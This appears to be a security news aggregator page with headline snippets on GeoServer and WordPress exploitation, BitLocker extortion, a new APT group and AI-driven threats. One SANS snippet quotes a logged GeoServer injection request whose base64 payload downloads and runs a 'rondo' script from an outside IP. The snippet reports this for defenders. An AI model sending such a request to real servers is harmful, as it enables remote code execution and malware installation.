Don’t swing at everything
Welcome to this week’s edition of the Threat Source newsletter. Lately I’ve found myself thinking a lot about the Australian […]
Computer Security
Rondo Meets Geoserver – SANS Internet Storm Center
This isn’t a new attack, but something I saw “pop-up” in our logs this week: GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vNDUuMTUzLjM0LjE1My9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzQ1LjE1My4zNC4xNTMvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27) HTTP/1.1 Host:
New BitLocker extortion activity: RDP, MSSQL, RMM Abuse
Recently, our teams in Latin America investigated a series of incidents involving misconfiguration, the deployment of BitLocker, and the exploitation
A burrow full of malware
ESET Research has discovered a new China-aligned APT group that we’ve named GopherWhisper, which targets Mongolian governmental institutions 23 Apr
PR3TACK preemptive framework maps threats before attackers use them
Defensive frameworks in cybersecurity record what attackers have already done. Analysts study a breach, document the method, and build detections
Why blocking AI models won’t stop the cyber threats they create
2026 has turned out to be the year when predictions about AI-powered cyberattacks, long hypothesized as a potential risk associated
WordPress Exploitation Underway (CVE-2026-63030) – SANS ISC
Last week, Searchlight Cyber released details about a vulnerability they are calling “wp2shell”. The vulnerability was initially announced without a
What you see is not all there is
A breach claims the systems as well as the confidence that was, in retrospect, a major vulnerability 24 Apr 2026
The Odyssey piracy scams surface hours after its theatrical debut
Christopher Nolan’s The Odyssey had barely reached theaters before scammers began targeting people searching for pirated copies, according to Malwarebytes.
Director of Commerce AI standards office out after three months
The head of a key federal government AI testing lab is leaving his post just months after taking over. A